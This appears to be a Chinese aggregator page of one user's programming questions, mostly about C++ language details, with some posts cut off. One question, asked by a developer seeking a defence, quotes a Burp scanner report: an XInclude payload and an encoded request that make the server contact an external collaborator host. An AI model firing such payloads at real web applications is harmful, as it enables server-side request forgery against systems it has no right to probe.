小编Jan*_*tke的帖子

考虑unsigned char v进行一系列按位运算并将结果存储回 的情况v。在底层，它被整数提升一次，经历一系列操作，结果被截断并存储回v。

然而std::byte v，对于每个操作，操作数首先被提升为整数，进行操作，并且（中间）结果被截断并存储回某个std::byte。这将是许多来回的提升和截断。这都是概念性的，但它会在实践中造成真正的开销吗？

人工例子

// `mask` and `lshf` are of type `unsigned`
unsigned char v = ...;
v = (v & mask) << lshf; // one promotion at `&` and one truncation at `=`

// `mask` and `lshf` are of type `std::byte` and `unsigned`
std::byte v = ...;
v = (v & mask) << lshf;

// It would be like
// byte(unsigned(byte(unsigned(v) & unsigned(mask))) << …

cppreference页面[[assume]]说：

[[assume( expression )]] 

Run Code Online (Sandbox Code Playgroud)

[...] 表达式没有被求值（但它仍然可能被求值）。

这个措辞让我很困惑。这里 cppreference 错了吗？如果不评估，为什么可能会评估？它不是像 中的表达式一样未计算的操作数吗sizeof？如果不可以，后果是什么？

考虑声明一个不受约束的ns::operator*. using namespace ns在块作用域中并调用函数之后foo<T>，clangns::operator*在读取内部基于范围的循环的迭代器时使用foo。没有其他类型ns涉及其他类型，因此 ADL 应该不会产生任何候选者。

在以下示例中，static_assert失败并显示消息：

错误：由于要求 'std::is_same_v<const int &, const custom_type &>'，静态断言失败

汇编代码显示这ns::operator*是由 clang 使用的。gcc 和 msvc 的断言都通过了！

namespace ns {

template <typename T>
constexpr auto operator*(T&& /*value*/) {
    struct custom_type {};
    return custom_type{};
};

}  // namespace ns

template <typename T>
constexpr void foo() {
    std::vector<T> vec{};
    for (const auto& curr : vec) {
        static_assert(std::is_same_v<const T&, decltype(curr)>);
    }
}

int main() { …

在以下情况下应该采取什么行为：

class C {
    boost::mutex mutex_;
    std::map<...> data_;
};

C& get() {
    static C c;
    return c;
}

int main() {
    get(); // is compiler free to optimize out the call? 
    ....
}

编译器是否允许优化对 的调用get()？

这个想法是在多线程操作需要静态变量之前对其进行初始化

这是更好的选择吗？：

C& get() {
    static C *c = new C();
    return *c;
}

STL 类将swap()方法定义为void swap(A&)，采用左值引用。例如，请参阅std::vector::swap，或问题是否有必要在交换两个对象时使用 std::move ？

这样的定义意味着我们不能与 r 值交换，因为 r 值不会绑定到 但是，我认为与 r 值交换没有什么坏处。建造它，窃取它，在里面放置一些内脏，摧毁它。完毕。我们可以添加另一个重载void swap(A&&)来实现它。

我认为我们没有开箱即用的过载的原因只有一个。因为而不是写

v.swap(rvalue);

最好写成

v = rvalue;

我们将触发移动分配，而不是交换，这甚至更有效。我说的这个理由合理吗？这是唯一的原因吗？

我正在尝试构建一个嵌套的迭代器模板，并依赖于具有各种特征的迭代器，例如value_type. 但事实证明，并非所有 STL 类型都返回具有这些特征的迭代器。例如：

#include <array>
#include <type_traits>

template <typename T>
using iterator_t = decltype(std::declval<T>().begin());

static_assert(std::is_same_v<iterator_t<std::array<int, 3>>, int*>);

此代码编译并显示数组迭代器的实际类型是int*. 在这种情况下，我如何仍然可以访问诸如value_typeetc 之类的特征？

假设我有一组（或映射）字符串，并且我想使用仅比较前 5 个字符的自定义比较器。所以“abcde”和“abcdef”在我的集合中是相同的。

using MySet = std::set<std::string, Cmp>;

编写 Cmp 的最佳方式是什么？

明显的方法是这样的：

struct Cmp
{
    bool operator()(const string& x, const string& y) const
    {
        return x.substr(0, 5) < y.substr(0, 5);
    }
};

问题是这段代码重复了.substr(0, 5)。在这个例子中它很短，但在一般情况下它可能会更长。我想避免这个重复的代码。

一般来说，给定类型T1, T2和函数T2 key(T1& const)，我想要一组T1根据 进行比较的元素key(a) < key(b)，其中比较 onT2已经明确定义。写这个的最好方法是什么？我考虑过编写一个新的class KeyBaseSet，但这对于我的单一用例来说是过度设计的。有什么方法可以使用stdBoost 来做到这一点吗？

我正在寻找类似于keyPython 中排序时的参数（https://docs.python.org/3/howto/sorting.html#key-functions），或compare `on` Haskell 中的习惯用法（https://stackoverflow.html）。 com/a/2788262/351105）。

我收到了这个 burp 漏洞报告 - 外部服务交互 (DNS)

XML 被注入到 URL 路径中。我想知道是否有人知道如何防止这种情况。我正在使用 Visual Studio 和 WebForms C# 开发一个 Web 应用程序。

我想也许可以通过 IIS 或 web.config 文件来阻止它，但我不确定。

问题详情

可以诱导应用程序执行任意域名的服务器端 DNS 查找。有效负载：

<iaz xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/>
</iaz>

...已在 URL 路径文件名中提交。此负载包含一些 XML，其中包含引用外部域上的 URL 的 XInclude 表达式。

应用程序执行了指定域的 DNS 查找，表明 XML 解析器处理了注入的 XInclude 定义。

GET /ViewEmployee/%3ciaz%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/iaz%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close

我想使用 SFINAE 创建一个带有Consumer函子的模板化成员函数。某个东西是否是消费者取决于模板化的static constexpr bool isConsumer成员变量。我已将代码简化为以下示例：

#include <type_traits>

template <typename T>
struct Container {
    T data[100];

    template <typename Consumer>
    static constexpr bool isConsumer = std::is_invocable_r_v<void, Consumer, T>;

    template <typename Consumer, std::enable_if_t<isConsumer<Consumer>, int> = 0>
    void forEach(const Consumer &consumer);
};

template <typename T>
template <typename Consumer, std::enable_if_t<Container<T>::template isConsumer<Consumer>, int>>
void Container<T>::forEach(const Consumer &consumer)
{
    for (int i = 0; i < 100; ++i) {
        consumer(data[i]);
    }
}

由于我不理解的原因，这不会编译：

<source>:16:20: error: out-of-line definition of 'forEach' does not match …

对于只有两个可能的代码执行分支的情况，在 c++20 中使用[[likely]]和属性的一般准则是什么？[[unlikely]]是否建议仅将[[likely]]or[[unlikely]]放在执行路径的一个分支上，或者我们应该将其中之一放在一个代码分支上，将另一个放在其余分支上。例如，我们应该做

if (condition) [[likely]]
{
}
else [[unlikely]]
{
}

或者

if (condition) [[likely]]
{
}
else
{
}

当我们知道 if 条件中的分支更有可能被执行时。